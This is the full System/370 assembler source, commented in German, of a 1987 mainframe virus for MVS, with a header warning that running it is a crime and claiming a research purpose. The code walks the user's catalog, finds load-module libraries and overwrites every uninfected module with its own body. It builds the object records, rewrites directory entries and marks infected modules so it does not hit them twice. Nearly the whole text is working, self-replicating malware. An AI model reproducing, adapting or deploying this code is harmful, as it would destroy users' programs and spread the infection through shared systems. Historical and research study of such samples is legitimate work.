* * * * ********************************************************************* * * * # # ### ##### # # #### auf einem Rechner * * # # # # # # # # * * # # # # # # # # IBM 3090 unter dem * * # # # ##### # # #### * * # # # # # # # # Betr.system MVS/370 * * ## ### # ## #### ##### * * * ********************************************************************* * Version #1, No Release!! (p) & (c) foxi, April 1987 * *-------------------------------------------------------------------* * * * W A R N U N G: Das Assemblieren, Linken und Ausführen des * * ============== Programms in der Absicht, den Virus in ein * * Computersystem zu implementieren, ist nach * * §303a StGB eine S t r a f t a t !! Dieses * * Programm dient ausschließlich wissenschaft- * * lichen Zwecken, nämlich dem Aufdecken der * * Gefährdung von Computersystemen durch VIREN. * * Eine Weitergabe des Programms, das Herstel- * * len einer lauffähigen Version oder die Mo- * * difikation des Source-Codes sind ohne eine * * schriftliche(!) Erlaubnis des Autors nicht * * statthaft. Bei Zuwiderhandlung behalte ich * * mir die Möglichkeit vor, Strafanzeige zu * * erstatten. Die schriftliche Erlaubnis kann * * unter Angabe der Gründe, warum der Virus * * weitergegeben, ausgeführt bzw. modifiziert * * werden soll, beantragt werden bei: * * * * Bernd Fix, Marienburger Str. 1 * * 6900 Heidelberg-Kirchheim * * ------------------------- * * * ********************************************************************* * * * * * START VIRUS CSECT * * * Retten der Register und "Chaining" * der Save-Areas * ================================== * * STM R14,R12,12(R13) LR R12,R15 USING VIRUS,R12 LR R2,R13 LA R13,SAVE ST R2,4(R13) ST R13,8(R2) B CONT$0 * SAVE DS 18F Save-Area * BASE DC F'0' Basisadresse f. Relokation * * ********************************************************************** * * * S E L B S T R E L O K A T I O N des Moduls * * * ********************************************************************** * * CONT$0 LA R2,RLDINFO Adresse der RLD-Infos $16 L R1,0(R2) Erste Adresse holen ... LA R1,0(R1) ... und auf 3 Byte stutzen AR R1,R12 Adr. im Modul berechnen. CLI 0(R2),X'0D' Adr.laenge = 4 Byte? BE $17 Ja: --> BCTR R1,0 Ein Byte zurueckgehen. $17 ICM R3,15,0(R1) 4-Byte-Wert holen, S R3,BASE alte Basisadresse abziehen STCM R3,15,0(R1) und zurueck damit. LA R2,4(R2) naechstes Info adressieren CLI 0(R2),X'00' keines mehr da? BNE $16 Nein: --> Relozieren... ST R12,BASE Jetzige Basis speichern MVC DATEI(96),DSAVE DCB auf Null-Zustand. * * ********************************************************************** * * * K A T A L O G D E S B E N U T Z E N D E N L E S E N * * * ********************************************************************** * * Feststellen der momentanen UserId * ================================= * * L R1,540 L R1,12(R1) MVC FSPEC+2(3),0(R1) Speichern fuer Katalog * * * Einlesen des Katalogs des Benutzenden * fuer den Level U.UID * ===================================== * * L R0,CATLEN Bereitstellen von GETMAIN R,LV=(R0) Hauptspeicherplatz ST R1,CATADDR fuer die Katalogein- MVC 0(2,R1),=X'7FFF' traege (32 KBytes) * LA R1,PARAM Parameter d. Katalogroutine LINK EPLOC=CATROUT Katalog einlesen lassen B CONT$1 * * * Parameterblock fuer die Katalogprozedur * ======================================= * CATROUT DC CL8'IKJEHCIR' FSPEC DC C'U.???',83C' ' * Parameterblock DS 0F PARAM DC X'02000000' DC A(FSPEC) Adresse von FSPEC DC F'0' CATADDR DC A(0) Adresse des Katalog DC F'0' CATLEN DC F'32768' Laenge des Katalogs LTORG * * ********************************************************************** * * * S U C H E E R S T E S L O A D M O D U L * * * ********************************************************************** * * CONT$1 L R2,CATADDR Adr. des Katalogs laden LA R2,4(R2) * * * Lese Namen des naechsten (ersten) Data Sets * =========================================== * * $1 CLI 0(R2),X'FF' Keine weiteren Eintraege? BE $5 Ja: --> Speicher freigeben * * * Naechste (Erste) Datei dynamisch allokieren * =========================================== * * LA R1,44 Laenge des Dateinamens $2 LA R3,0(R1,R2) bestimmen ... CLI 0(R3),C' ' BNE $3 BCT R1,$2 ... in R1 * $3 STH R1,DSN+4 Speicher Laenge in TextUnit BCTR R1,0 Fuer MOVE Laenge um 1 kleiner! EX R1,MOVE Uebertragen des Dateinamens LA R1,DSORG ST R1,S99TUPL+8 Rueckgabe d. Dateiorg. * BAL R14,ALLOC ### Datei allokieren ### * * * Hat Datei die Struktur fuer LOAD-Module, d.h. * DSORG=PO (mit RECFM=U und BLKSIZE=19069) ? * ============================================= * * * CH R15,=X'0200' Ist Datei eine PO-Datei? BNE $4 Nein: --> naechste Datei * * * Einlesen des Member-Directories * =============================== * * LA R0,2560 Reserviere Speicher GETMAIN R,LV=(R0) fuer das Directory LR R3,R1 ST R1,DIRADDR * BAL R14,RFILE Datei einlesen ... * L R3,DIRADDR Startadr. des Directory LA R3,2(R3) * $7 CLI 0(R3),X'FF' Letzter Eintrag? BE $8 Ja: --> Speicher frei * $6 CLI 0(R3),X'00' Blockende? BNE $12 LA R3,1(R3) Ja: --> naechstes Byte B $7 * $12 CLI 11(R3),X'2C' moegl. Eintrag eines LOAD- BE $13 Moduls? Ja:--> XR R1,R1 Nein:--> Ueberspringen IC R1,11(R3) Anz. der Halbworte holen. N R1,=F'31' Nur die letzten 5 Bit. SLL R1,1 Bytes = 2 x Anz. Halbworte. LA R3,12(R1,R3) Adresse naechster Eintrag. B $7 * $13 LH R0,20(R3) Pruefe Attribut, ob LOAD- N R0,ATTRIB Modul und ob das Modul BE $11 als infiziert gekenn- LH R0,25(R3) zeichnet ist. CH R0,=H'0758' BNE INFEKT Ja: --> Infiziere Modul! * $11 LA R3,36(R3) Nein: --> Naechsten Eintrag B $7 * $8 L R1,DIRADDR LA R0,2560 FREEMAIN R,LV=(R0),A=(R1) Directory-Speicher frei... * * $4 BAL R14,FREEALOC Alte Alloc freigeben * LA R2,45(R2) Naechste Datei allokieren B $1 * * MOVE MVC DSN+6(0),1(R2) Transfer durch EX-Befehl * DIRADDR DC F'0' Adresse des Member-Dir. * ATTRIB DC X'00000080' Attribut eines LOAD-Moduls * * $5 L R0,CATLEN Speicher des Katalogs L R1,CATADDR freigeben. FREEMAIN R,LV=(R0),A=(R1) B FUNKTION * * * * ********************************************************************** * * * !!! "I N F E K T I O N" !!! des LOAD-Moduls * * durch Ueberschreiben * * * ********************************************************************** * * INFEKT BAL R14,FREEALOC Allok. Member-Dir. aufheben * MVC MEMBER+6(8),0(R3) Uebertrage Membernamen LA R1,8 Laenge des Member-Namens $10 LA R5,0(R1,R3) bestimmen ... BCTR R5,R0 CLI 0(R5),C' ' BNE $9 BCT R1,$10 ... in R1 $9 STH R1,MEMBER+4 und speichern * MVC ENTRY(8),0(R3) Namen des Members auch * fuer UPDATE des Directory LA R0,2560 L R1,DIRADDR FREEMAIN R,LV=(R0),A=(R1) Directory-Speicher frei... * L R0,CATLEN Alten Katalogspeicher L R1,CATADDR freigeben. FREEMAIN R,LV=(R0),A=(R1) * LA R1,MEMBER ST R1,S99TUPL+8 Member-Allokierung * BAL R14,ALLOC ### Datei allokieren ### * * * Ueberschreibe das alte LOAD- * Modul mit dem VIRUS-Programm * ============================ * * OPEN (DATEI,OUTPUT) Datei oeffnen * LA R2,ESDREC Speichere ESD-Record BAL R14,WRITREC * LA R2,TTR1 Speichere die drei BAL R14,WRITREC obligatorischen TTR-Rec. * LA R2,TTR2 BAL R14,WRITREC * LA R2,TTR3 BAL R14,WRITREC * LA R2,HEADER Header des TXT-Records BAL R14,WRITREC * LA R1,VIREND VIRUS-Programm selbst SR R1,R12 uebertragen. STH R1,DATEI+82 ST R14,RETURN LR R2,R12 PUT DATEI,(R2) L R14,RETURN * LA R2,RLDREC Zugehoerigen RLD-Record BAL R14,WRITREC uebertragen * CLOSE DATEI Datei schliessen. * BAL R14,FREEALOC Allok. aufheben. * * * Korrigiere den Eintrag im * Member-Directory der Datei * ========================== * * LA R1,0 ST R1,S99TUPL+8 Die PO-Datei BAL R14,ALLOC einfach allokieren * OPEN (DATEI,UPDAT) Oeffnen zum Schreiben * STOW DATEI,ENTRY,R Directory-Eintrag korrig. MVC ENTRY+12(3),ENTRY+8 IC R1,ENTRY+14 LA R1,5(R1) STC R1,ENTRY+14 STOW DATEI,ENTRY,R * CLOSE (DATEI) Datei schliessen. * BAL R14,FREEALOC Allokierung aufheben. * * * Infektion abgeschlossen ! * ========================= * * B FUNKTION Funktion ausfuehren. * * * Record-Strukturen fuer die Umwandlung * des VIRUS-Codes in ein LOAD-Modul * ===================================== * * ESDREC DC H'40' Laenge ESD-Record DC X'20' Identifikations-Byte DC X'800000' DC H'1' # der 1.ten CSECT DC X'0020' Laenge ESD ohne Vorspann DC 8X'00' 1.te CSECT = NULL! DC X'07' Kennzeichnung fuer NULL DC 7X'00' DC C'VIRUS ' 2.te CSECT = 'VIRUS ' DC X'00' Symbol Definition (SD) DC AL3(0) Relativadresse zum Anfang DC X'00' DC X'000758' Laenge der CSECT in Bytes * * TTR1 DC H'251' Laenge TTR1-Record DC X'80' Identifikationsbyte DC X'FA' Laenge ohne ID-Byte DC X'01' Art des Eintrags DC 248X'00' Eintrag ... * * TTR2 DC H'18' Laenge TTR2-Record DC X'80' Identifikationsbyte DC X'11' Laenge ohne ID-Byte DC X'02' Art des Eintrags DC C'566529508 ' Eintrag ... DC X'010087118F' * * TTR3 DC H'21' Laenge TTR3-Record DC X'80' Identifikationsbyte DC X'14' Laenge ohne ID-Byte DC X'84' Art des Eintrags DC X'800200' Eintrag ... DC C'566896201 ' DC X'020187118F' * * HEADER DC H'20' Laenge HEADER DC X'01' Identifikationsbyte DC X'000001' DC H'4' Anzahl Info-Bytes CSECT DC H'0' Anzahl Info-Bytes RLD DC X'06' DC AL3(0) Adresse TXT-Rec bezgl. Anf. DC C' ' * immer ein Blank * DC XL3'758' Laenge des folg. TXT-Rec DC H'2',X'0758' Info-Bytes CSECT * * RLDREC DC H'100' LAENGE RLD-RECORD DC X'0E' Kennbyte RLD-Record DC XL5'00' DC X'0054' Laenge RLD ohne Vorspann DC XL8'00' DC H'2',H'2' Rel.Ptr & Pos.Ptr RLDINFO DC X'09',XL3'0E1' >---+ DC X'0D',XL3'154' I DC X'09',XL3'2AD' I DC X'09',XL3'309' I DC X'09',XL3'325' I DC X'09',XL3'359' I +----------------------------+ DC X'09',XL3'58D' I I RELOCATION-INFOS der Form:I DC X'0D',XL3'598' +----->I I DC X'0D',XL3'5A4' I I Status, Adresse (3 Byte) I DC X'0D',XL3'5A8' I +----------------------------+ DC X'0D',XL3'5AC' I DC X'09',XL3'5B1' I DC X'09',XL3'5B5' I DC X'0D',XL3'5C0' I DC X'0D',XL3'5CC' I DC X'09',XL3'5D1' I DC X'09',XL3'641' I DC X'09',XL3'665' I DC X'09',XL3'6B9' I DC X'08',XL3'719' >---+ DC X'00' * * * Directory-Eintrag des VIRUS * (muss UPDATED werden!) * =========================== * * DS 0H ENTRY DC CL8' ' >-----+ wird vom alten Directory- DC X'000000' >-----+ Eintrag uebernommen. DC X'2C' DC X'000000' DC X'0000000000' DC X'02E2' Attribute des Moduls DC X'000758' Laenge des Moduls DC X'0758' DC X'00000088' DC X'0001010000' * * ********************************************************************** * * * F U N K T I O N D E S P R O G R A M M S * * * ********************************************************************** * * FUNKTION B ENDE * * * Beenden des Programms * ===================== * * ENDE L R13,SAVE+4 LM R14,R12,12(R13) BR 14 * LTORG * * * * ********************************************************************** * * * D Y N A M I S C H E S A L L O K I E R E N der Dateien * * * ********************************************************************** * * ALLOC LA R1,S99RBP DYNALLOC SR R15,R15 LH R15,DSORG+6 BR R14 * * FREEALOC LA R1,S99RBP2 DYNALLOC BR R14 * * * Request Block Pointer & Request Block * ======================================= * * DS 0F S99RBP DC X'80',AL3(S99RB) *** Req.Block Pointer *** * S99RB DC X'1401' Laenge(20Bytes),Mod(DSAL), DC X'8800' Flag1, Flag2 DC F'0' Error & Reason Code S99TXTPP DC A(S99TUPL) Text Unit Pointer List DC F'0' DC X'00000000' A-Flag1 bis 4 * S99TUPL DC A(DDN) Name der Data Definition DC A(DSN) Name des Data Sets DC A(MEMBER) oder A(DSORG) Member oder Dateiorg. DC X'80',AL3(DISP) Status der Datei * * S99RBP2 DC X'80',AL3(S99RB2) * S99RB2 DC X'1402' DC X'0000' DC F'0' DC A(S99TUPL2) DC F'0' DC X'00000000' * S99TUPL2 DC A(DDN) DC X'80',AL3(REMOVE) * * * Text Units fuer die Allokierung * =============================== * * DDN DC X'0001' *** Data Definition *** DC X'0001' DC X'0008' DC C'SYS99999' * DSN DC X'0002' *** Data Set *** DC X'0001' DC X'000B' DC CL44' ' * MEMBER DC X'0003' *** Member des DS *** DC X'0001' DC X'0008' DC CL8'TEMPNAME' * DISP DC X'0004' *** Status des DS *** DC X'0001' DC X'0001' DC X'01' DS 0H * DSORG DC X'0057' *** Dateiorganisation *** DC X'0001' DC X'0002' DC X'0000' * REMOVE DC X'0008' *** Remove IN-USE-BIT *** DC X'0000' * * ********************************************************************** * * * D A T E I E I N L E S E N in den Hauptspeicher ... * * und R E C O R D S S C H R E I B E N aus d. Hauptspeicher ... * * * ********************************************************************** * * * Datei lesen * =========== * * RFILE ST R14,RETURN Ruecksprung sichern OPEN DATEI Datei zum Lesen oeffnen R$BLK GET DATEI,(R3) Block aus der Datei lesen. LH R4,DATEI+82 LA R3,0(R4,R3) B R$BLK Solange bis Datei-Ende EOF CLOSE DATEI Schliesse Datei L R14,RETURN BR R14 Ruecksprung * RETURN DS 1F * * * Record schreiben * ================ * * WRITREC ST R14,RETURN Register sichern. LH R0,0(R2) Laenge des Records lesen. STH R0,DATEI+82 Recordlaenge uebergeben. LA R2,2(R2) Anfang des Records PUT DATEI,(R2) Record schreiben. L R14,RETURN Register holen ... BR R14 ... und Ruecksprung. * * * Datei Zugriffs-Block * ==================== * * DATEI DCB DDNAME=SYS99999,MACRF=(GM,PM),BLKSIZE=19069,RECFM=U, & DSORG=PS,EODAD=EOF * DSAVE DCB DDNAME=SYS99999,MACRF=(GM,PM),BLKSIZE=19069,RECFM=U, & DSORG=PS,EODAD=EOF * * LTORG * VIREND DS 0C * EQUREG END VIRUS *